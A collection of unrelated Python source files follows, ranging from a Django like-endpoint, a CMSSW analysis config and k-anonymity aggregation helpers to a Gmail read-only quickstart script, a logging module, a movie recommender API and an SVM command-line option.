class Sendlike(APIView):
    def post(self,request,pk):
        user = self.request.user
        comment = Comment1.objects.get(pk=pk)
        like = Like1.objects.filter(liker1=user,comment1=comment)
        serializers = LikeSerializer(data=request.data)
        if serializers.is_valid() & like.exists():
            print('xx')
            raise ValidationError('you like past time this comment')
        elif serializers.is_valid():
            serializers.save(Like1.objects.filter(liker1=user,comment1=comment))
            return Response(serializers.data,status=status.HTTP_200_OK)


import FWCore.ParameterSet.Config as cms

process = cms.Process("Demo")

process.load("FWCore.MessageService.MessageLogger_cfi")

process.maxEvents = cms.untracked.PSet( input = cms.untracked.int32(-1) )

process.source = cms.Source("PoolSource",
    fileNames = cms.untracked.vstring(
#        'file:/afs/cern.ch/work/a/amodak/public/IISc/CMSSW_5_3_32/src/pattuples2011/SingleMuon_PAT_data_test.root'
        'file:/afs/cern.ch/work/a/amodak/public/IISc/CMSSW_5_3_32/src/pattuples2011/WJets_PAT_MC_jettest.root'
    )
)

process.demo = cms.EDAnalyzer('DemoAnalyzer',
                               MuonSrc = cms.InputTag("cleanPatMuons"),
                               ElectronSrc = cms.InputTag("cleanPatElectrons"),
                               JetSrc = cms.InputTag("cleanPatJets"),
                               TauSrc = cms.InputTag("cleanPatTaus"),
                               MetSrc = cms.InputTag("patMETs"),
                               VertexSrc = cms.InputTag("offlinePrimaryVertices"),
)

process.TFileService = cms.Service("TFileService", fileName = cms.string('analyzePat.root') )
process.p = cms.Path(process.demo)


#!/usr/bin/python3

from operator import itemgetter, attrgetter

class Node:
    def __init__(self, score, name, original_name):
        self.score = score
        self.name = name
        self.original_name = original_name
    def __repr__(self):
        return self.original_name + " " + str(self.score)

case = 1

while True:
    lst = []

    try:
        p = int(input())
    except EOFError:
        break

    for i in range(p):
        name, a, b, c, d, e = str(input()).split(";")

        original_name = name
        name = name.lower()

        def valueOf(point):
            res = 0
            for p in point[:-1]:
                if p == '1':
                    res += 1
            if point[8] == '1':
                res += 2
            return res

        res = 0
        res += valueOf(a) + valueOf(b) + valueOf(c) + valueOf(d) + valueOf(e)

        lst.append(Node(res, name, original_name))

    lst = sorted(lst, key=attrgetter('score'), reverse=True)
    lst = sorted(lst, key=attrgetter('name'))

    print("Case {}:\n".format(case), end="")

    for i in range(len(lst)):
        print(lst[i])

    case += 1


import json

class RevereObjs(object):
    def __init__(self, **kwargs):
        self.params = {}

    @classmethod
    def from_json(cls, content, **kwargs):
        json_data = content.copy()
        if kwargs:
            for key, value in kwargs.items():
                json_data[key] = value

        x = cls(**json_data)
        x._json = content
        return x

class List(RevereObjs):
    def __init__(self, **kwargs):
        self.params = {
            'account': None,
            'createdBy': None,
            'group': None,
            'id': None,
            'name': None,
            'noOfSubscribers': None,
            'shortCode': None,
            'status': None,
        }

        for param_name, default_value in self.params.items():
            setattr(self, param_name, kwargs.get(param_name, default_value))

class Person(RevereObjs):
    def __init__(self, **kwargs):
        self.params = {
            'given_name' : None,
            'family_name' : None,
            'identifiers' : None,
            'party_identification' : None,
            'custom_fields' : None,
            'birthdate' : None,
            'email_addresses' : None,
            'phone_numbers' : None,
            'postal_addresses' : None,
            'profiles' : None,
            'triggers' : None,
        }

        for param_name, default_value in self.params.items():
            setattr(self, param_name, kwargs.get(param_name, default_value))


# -*- coding: utf-8 -*-
"""
Created on Wed Jan 20 14:40:36 2016

@author: Alexis Eidelman

List of transformation to aggregate a column
There is four parts in that file.
    1 - deals with numeral values
    2 - deals with string values
    3 - deals with date values
    4 - deals with special function, not always aggregating
"""

import numpy as np
import pandas as pd

### 1 - numbers
def num_drop(x):
    return x.mean()

### 2 - string
def str_drop(x):
    return 'dropped'

def first_letters(x, k=1):
    return x.str[:k]

def last_letters(x, k=1):
    return x.str[k:]

### 3 - date
def date_drop(x):
    return x.min()

def period_by_hours(x, separation):
    ''' aggrege le x par intervale d'heure.
        Le calcul pourrait être simple si on interdisait
        le chevauchement de jour.
    '''
    print(separation)
    assert isinstance(separation, list)
    assert all([sep < 24 for sep in separation])
    separation.sort()

    if 0 in separation:
        separation.append(24)
        hour_categ = pd.cut(x.dt.hour, separation, right=False)
        date_categ = x.dt.date
        return date_categ.astype(str) + ' ' + hour_categ.astype(str)
    else:
        hour = x.dt.hour
        hour_categ = pd.cut(hour, separation, right=False).astype(str)
        night_categ = '[' + str(separation[-1]) + ', ' + str(separation[0]) + ')'
        hour_categ[(hour < separation[0]) | (hour >= separation[-1])] = night_categ
        assert hour_categ.nunique(dropna=False) == len(separation)
        date_categ = x.dt.date.astype(str)
        # décalage d'un jour pour les premières heures
        decale = x.dt.date[x.dt.hour < separation[1]] + pd.DateOffset(days=-1)
        date_categ[x.dt.hour < separation[1]] = decale.astype(str)
        assert all(date_categ.str.len() == 10)
        return date_categ + ' ' + hour_categ

### 4 - special

def _name_aggregation(list_of_values):
    list_of_values.sort()
    return ' ou '.join(list_of_values)

def local_aggregation(serie_init, k, method, unknown=''):
    '''
        réalise l'aggregation locale sur une seule variable

    '''
    assert serie_init.dtype == 'object'
    assert method in ['into_unknown', 'remove',
                      'regroup_with_smallest',
                      'regroup_with_biggest',
                      'with_closest']

    serie_without_null = serie_init[serie_init != unknown]
    serie = serie_without_null
    counts = serie.value_counts()
    counts_to_change = counts[counts < k]
    index_to_change = counts_to_change.index.tolist()

    # si pas de groupe inférieur à k, on a fini
    if len(index_to_change) == 0:
        return serie_init

    if len(serie) < k:
        return pd.Series(unknown, index=serie_init.index)

    if method == 'into_unknown':
        # si on a que deux valeurs alors le non renseigné devient
        # facile à retrouver : c'est l'autre valeur
        #    si remplace k et sur plus d'une modalité on sait que
        #    c'est bien anonymisé. sinon, il faut faire autre chose.
        if counts_to_change.sum() >= k  or serie_init.nunique() > 2:
            return serie_init.replace(index_to_change, unknown)
        else:
            return pd.Series(unknown, index=serie_init.index)

    if method == 'remove':
        return serie_init[~serie_init.isin(index_to_change)]

    if 'regroup' in method:
        # on regroupe en priorité les petits groupes entre eux
        # si ça ne suffit pas on va chercher un autre groupe
        # on cherche donc un groupe, par construction de taille supérieure
        # à k, avec qui regrouper.
        if counts_to_change.sum() >= k:
            pass # rien à faire

        if counts_to_change.sum() < k:
            clients_pour_regrouper = counts[counts >= k]
            if len(clients_pour_regrouper) == 0:
                # ne doit pas se produire parce que ça veut dire
                # qu'on a moins de k petit et pas de gros, ça veut
                # dire qu'on a moins de k lignes
                raise Exception('Ca ne doit pas arriver')
            # on cherche un groupe, par construction de taille supérieure
            # à k, avec qui regrouper.
            # on recommander plutôt de ne pas déteriorer la plus grande modalité
            # et de prendre la plus petite possible
            if method == 'regroup_with_smallest':
                pour_regrouper = clients_pour_regrouper.index[-1]
            if method == 'regroup_with_biggest':
                pour_regrouper = clients_pour_regrouper.index[0]

            index_to_change.append(pour_regrouper)

        # le nom de la nouvelle modalité
        new_name = _name_aggregation(index_to_change)
        return serie_init.replace(index_to_change, new_name)

    if method == 'with_closest':
        # on regroupe les nombres qui ne sont pas k-anonymisés avec
        # la valeur la plus proche
        df = pd.DataFrame(counts)
        df.columns = ['count']
        df['name'] = df.index

        def _to_float(str_expression):
            if ' ou ' in str_expression:
                splittage = str_expression.split(' ou ')
                barycentre = np.mean([float(k) for k in splittage])
                return barycentre
            else:
                return float(str_expression)

        df['value'] = df['name'].apply(_to_float)

        modifications = []
        while df['count'].min() < k:
            valeur_a_remplacer = df.iloc[-1,:]
            distance = (df['value'] - valeur_a_remplacer['value'])**2
            idxmin = distance[distance > 0].idxmin()

            pour_regrouper = [valeur_a_remplacer['name'], idxmin]

            #calcul de la nouvelle modalité
            new_name = _name_aggregation(pour_regrouper)
            new_count = df.loc[pour_regrouper]['count'].sum()
            # introduit un biais quand on agregre deux valeurs
            # puis une troisième, on tire vers la troisième
            new_value = df.loc[pour_regrouper]['value'].mean()
            df.loc[new_name] = [new_count, new_name, new_value]
            df.drop(pour_regrouper, inplace=True)
            df.sort_values('count', ascending=False,
                           inplace=True)

            modifications.append((pour_regrouper, new_name))

        for modification in modifications:
            serie_init.replace(modification[0], modification[1], inplace=True)
        return serie_init


from __future__ import print_function
import os.path
import base64
import email
from googleapiclient.discovery import build
from google_auth_oauthlib.flow import InstalledAppFlow
from google.auth.transport.requests import Request
from google.oauth2.credentials import Credentials

# If modifying these scopes, delete the file token.json.
SCOPES = ["https://www.googleapis.com/auth/gmail.readonly"]

#Getting all the messages
def get_messages(service, user_id):
    try:
        return service.users().messages().list(userId=user_id).execute()
    except Exception as error:
        print("An error occurred: %s" % error)

#Getting single message
def get_message(service, user_id, msg_id):
    try:
        return (
            service.users()
                .messages()
                .get(userId=user_id, id=msg_id, format="metadata")
                .execute()
        )
    except Exception as error:
        print("An error occurred: %s" % error)

#Exposing the content of messages
def get_content_message(service, user_id, msg_id):
    try:
        message = service.users().messages().get(userId=user_id, id=msg_id, format='raw').execute()
        msg_str = base64.urlsafe_b64decode(message['raw'].encode("utf-8")).decode("utf-8")
        mime_msg = email.message_from_string(msg_str)
        return mime_msg
    except Exception as error:
        print('An error occurred: %s' % error)

def main():
    creds = None
    if os.path.exists("token.json"):
        creds = Credentials.from_authorized_user_file("token.json", SCOPES)
    # If there are no (valid) credentials available, let the user log in.
    if not creds or not creds.valid:
        if creds and creds.expired and creds.refresh_token:
            creds.refresh(Request())
        else:
            flow = InstalledAppFlow.from_client_secrets_file("credentials.json", SCOPES)
            creds = flow.run_local_server(port=0)
        # Save the credentials for the next run
        with open("token.json", "w") as token:
            token.write(creds.to_json())

    service = build("gmail", "v1", credentials=creds)

    # Call the Gmail API
    results = get_messages(service, "me")
    messages = results.get("messages", [])
    if not messages:
        print("No messages found.")
    else:
        print("Most Recent Email: ")
        message = messages[0]
        msg = get_content_message(service, "me", message["id"])
        print(msg)
        print("\n")

if __name__ == "__main__":
    main()


"""
Logging
-------
This module provides custom logging functionality for other amici modules
"""

import functools
import logging
import os
import platform
import socket
import time
import warnings
from inspect import currentframe, getouterframes

import amici

LOG_LEVEL_ENV_VAR = "AMICI_LOG"
BASE_LOGGER_NAME = "amici"
# Supported values for LOG_LEVEL_ENV_VAR
NAMED_LOG_LEVELS = {
    "NOTSET": logging.NOTSET,
    "DEBUG": logging.DEBUG,
    "INFO": logging.INFO,
    "WARNING": logging.WARNING,
    "ERROR": logging.ERROR,
    "CRITICAL": logging.CRITICAL,
}

from typing import Callable, Optional, Union

def _setup_logger(
    level: Optional[int] = logging.WARNING,
    console_output: Optional[bool] = True,
    file_output: Optional[bool] = False,
    capture_warnings: Optional[bool] = True,
) -> logging.Logger:
    """
    Set up a new logging.Logger for AMICI logging

    :param level:
        Logging level, typically using a constant like logging.INFO or
        logging.DEBUG

    :param console_output:
        Set up a default console log handler if True (default)

    :param file_output:
        Supply a filename to copy all log output to that file, or
        set to False to disable (default)

    :param capture_warnings:
        Capture warnings from Python's warnings module if True (default)

    :return:
        A :class:`logging.Logger` object for AMICI logging. Note that other
        AMICI modules
        should use a logger specific to their namespace instead by calling
        :func:`get_logger`.
    """
    log = logging.getLogger(BASE_LOGGER_NAME)

    # Logging level can be overridden with environment variable
    if LOG_LEVEL_ENV_VAR in os.environ:
        try:
            level = int(os.environ[LOG_LEVEL_ENV_VAR])
        except ValueError:
            # Try parsing as a name
            level_name = os.environ[LOG_LEVEL_ENV_VAR]
            if level_name in NAMED_LOG_LEVELS.keys():
                level = NAMED_LOG_LEVELS[level_name]
            else:
                raise ValueError(
                    f"Environment variable {LOG_LEVEL_ENV_VAR} "
                    f'contains an invalid value "{level_name}".'
                    f" If set, its value must be one of "
                    f'{", ".join(NAMED_LOG_LEVELS.keys())}'
                    f" (case-sensitive) or an integer log level."
                )

    log.setLevel(level)

    # Remove default logging handler
    log.handlers = []

    log_fmt = logging.Formatter(
        "%(asctime)s.%(msecs).3d - %(name)s - " "%(levelname)s - %(message)s",
        datefmt="%Y-%m-%d %H:%M:%S",
    )

    if console_output:
        stream_handler = logging.StreamHandler()
        stream_handler.setFormatter(log_fmt)
        log.addHandler(stream_handler)

    if file_output:
        file_handler = logging.FileHandler(file_output)
        file_handler.setFormatter(log_fmt)
        log.addHandler(file_handler)

    log.info("Logging started on AMICI version %s", amici.__version__)

    log.debug("OS Platform: %s", platform.platform())
    log.debug("Python version: %s", platform.python_version())
    log.debug("Hostname: %s", socket.getfqdn())

    logging.captureWarnings(capture_warnings)

    return log

def set_log_level(logger: logging.Logger, log_level: Union[int, bool]) -> None:
    if log_level is not None and log_level is not False:
        if isinstance(log_level, bool):
            log_level = logging.DEBUG
        elif not isinstance(log_level, int):
            raise ValueError("log_level must be a boolean, integer or None")

        if logger.getEffectiveLevel() != log_level:
            logger.debug(
                "Changing log_level from %d to %d"
                % (logger.getEffectiveLevel(), log_level)
            )
            logger.setLevel(log_level)

def get_logger(
    logger_name: Optional[str] = BASE_LOGGER_NAME,
    log_level: Optional[int] = None,
    **kwargs,
) -> logging.Logger:
    """
    Returns (if extistant) or creates an AMICI logger

    If the AMICI base logger has already been set up, this method will
    return it or any of its descendant loggers without overriding the
    settings - i.e. any values supplied as kwargs will be ignored.

    :param logger_name:
        Get a logger for a specific namespace, typically __name__
        for code outside of classes or self.__module__ inside a class

    :param log_level:
        Override the default or preset log level for the requested logger.
        None or False uses the default or preset value. True evaluates to
        logging.DEBUG. Any integer is used directly.

    :param console_output:
        Set up a default console log handler if True (default). Only used when
        the AMICI logger hasn't been set up yet.

    :param file_output:
        Supply a filename to copy all log output to that file, or set to
        False to disable (default). Only used when the AMICI logger hasn't
        been set up yet.

    :param capture_warnings:
        Capture warnings from Python's warnings module if True (default).
        Only used when the AMICI logger hasn't been set up yet..

    :return:
        A logging.Logger object with the requested name
    """
    if BASE_LOGGER_NAME not in logging.Logger.manager.loggerDict.keys():
        _setup_logger(**kwargs)
    elif kwargs:
        warnings.warn(
            "AMICI logger already exists, ignoring keyword "
            "arguments to setup_logger"
        )

    logger = logging.getLogger(logger_name)

    set_log_level(logger, log_level)

    return logger

def log_execution_time(description: str, logger: logging.Logger) -> Callable:
    """
    Parameterized function decorator that enables automatic execution time
    tracking

    :param description:
        Description of what the decorated function does

    :param logger:
        Logger to which execution timing will be printed
    """

    def decorator_timer(func):
        @functools.wraps(func)
        def wrapper_timer(*args, **kwargs):
            # append pluses to indicate recursion level
            recursion_level = sum(
                frame.function == "wrapper_timer"
                and frame.filename == __file__
                for frame in getouterframes(currentframe(), context=0)
            )

            recursion = ""
            level = logging.INFO
            level_length = len("INFO")
            if recursion_level > 1:
                recursion = "+" * (recursion_level - 1)
                level = logging.DEBUG
                level_length = len("DEBUG")

            tstart = time.perf_counter()
            rval = func(*args, **kwargs)
            tend = time.perf_counter()
            spacers = " " * max(
                59
                - len(description)
                - len(logger.name)
                - len(recursion)
                - level_length,
                0,
            )
            logger.log(
                level,
                f"Finished {description}{spacers}{recursion} ({(tend - tstart):.2E}s)",
            )
            return rval

        return wrapper_timer

    return decorator_timer


# includiamo questo modulo per creare numeri casuali
from random import randint

# per accedere ad un file devo assegnare
# ad un oggetto il file da aprire, in lettura o scrittura

# associo ad f il file, indico con "w" il tipo di operazione
# così lo aprirà in scrittura (write)

f = open("dati4.txt", 'w')

# definiamo una variabile stringa da riempire con i dati che poi scriverò

# inizializzo la stringa
dati = ""

# il primo ciclo serve a creare le singole righe
for riga in range(10):

    # il secondo ciclo serve a compulare la singola riga
    for elemento in range(1):

        # aggiungo il numero casuale e inserisco uno spazio in coda
        dati = dati + str(randint(1,100)) + "," + str(randint(1,100))

    # aggiungo un terminatore di riga, così il secondo rigo va a capo
    dati = dati + "\n"

# avremmo potuto creare una lista di righe:
# lines = [
#...     'prima riga del file\n',
#...     'seconda riga del file\n',
#...     'terza riga del file\n',
#... ]

print(dati)

# scrivo la stringa nel file
f.write(dati)

# chdiuamo sempre il file
f.close()


from rest_framework.response import Response
from rest_framework.decorators import api_view
import pandas as pd
import random
from pathlib import Path

root = Path('.')
try:
    moviesPath = root / 'data'/'5kMovies_11.06.pkl'
    CBpath = root / 'data'/'CB_SimilarityMatrix_14.05.pkl'
    CFpath = root / 'data'/'CF_SimilarityMatrix.pkl'
    print("in-reco", moviesPath)
    movies = pd.read_pickle(moviesPath)
    cb_df = pd.read_pickle(CBpath)
    collab_df = pd.read_pickle(CFpath)

except Exception as e:
    print("error:", str(e))

def loadPickles():
    try:
        moviesPath = root / 'data'/'5kMovies_11.06.pkl'
        CBpath = root / 'data'/'CB_SimilarityMatrix_14.05.pkl'
        CFpath = root / 'data'/'CF_SimilarityMatrix.pkl'
        global movies
        global cb_df
        global collab_df

    except Exception as e:
        print("error:", str(e))

def getRelatedMovies(movieId, rating):
    # movieId = movie[0]
    # rate = movie[1]
    row = collab_df[movieId]*rating
    return row.sort_values(ascending=False)[1:11]

@api_view(['GET'])
def contentBased(request, movieId):
    try:

        ids = cb_df.index.tolist()
        if movieId not in ids:
            msg = 'id not found'
            result = []
        else:
            msg = 'content based'
            row = cb_df[movieId]
            ids = row.sort_values(ascending=False)[1:19].index.tolist()

            rlist = {}
            for id in ids:
                movie = movies[movies['movieId'] == id]
                rlist[id] = movie.imdbRating.values[0]

            result = dict(
                sorted(rlist.items(), key=lambda x: x[1], reverse=True)[0:12]).keys()

        return Response({'message': msg, 'result': result})
    except:
        return Response({'message': 'error', "result": []})

@api_view(['POST'])
def collaborativeFilter(request):
    try:

        data = request.data['movies']
        ids = collab_df.index.tolist()
        result = []
        if len(data) > 0:
            similar_movies = pd.DataFrame()

            for movieId, rating in data:
                if movieId in ids:
                    similar_movies = pd.concat([similar_movies,
                                                getRelatedMovies(movieId, rating)], ignore_index=True, axis=1)

            movies = [i for i, j in data]
            similar_movies = similar_movies.sum(
                axis=1).sort_values(ascending=False)
            result = list(filter(lambda x: x not in movies,
                          similar_movies.index))[0:30]
            random.sample(result, len(result))[0:25]

        return Response({'message': 'collaborative filtering', "result": result[0:25]})

    except:
        return Response({'message': 'error', "result": []})


import click
from asreviewlib.classifiers import SvmClassifier
from .._epilog import epilog

name = SvmClassifier.name

@click.command(epilog=epilog,
               help="Use Support Vector Machine classifier",
               name=f"cls:{name}")
@click.option("--c", "c",
              default=15.4,
              help="hyperparameter.",
              show_default=True,
              type=click.FLOAT)
@click.option("--class_weight", "class_weight",
              default=0.249,
              help="hyperparameter",
              show_default=True,
              type=click.FLOAT)
@click.option("-f", "--force", "force",
              help="Force setting the querier configuration, even if that me" +
              "ans overwriting a previous configuration.",
              is_flag=True)
@click.option("--gamma", "gamma",
              default="auto",
              help="hyperparameter",
              show_default=True,
              type=click.Choice(["auto", "scale"]))
@click.option("--kernel", "kernel",
              default="linear",
              help="hyperparameter",
              show_default=True,
              type=click.Choice(["linear", "rbf", "poly", "sigmoid"]))
@click.option("--seed", "seed",
              default=535,
              help="Random seed",
              show_default=True,
              type=click.INT)
@click.pass_obj
def svm_classifier(obj, c, class_weight, gamma, force, kernel, seed):
    if not force:
        assert obj.provided.classifier is False, "Attempted reassignment of classifier"
    obj.classifier.model = name
    obj.classifier.params = {
        "c": c,
        "class_weight": class_weight,
        "gamma": gamma,
        "kernel": kernel,
        "seed": seed
    }
    obj.provided.classifier = True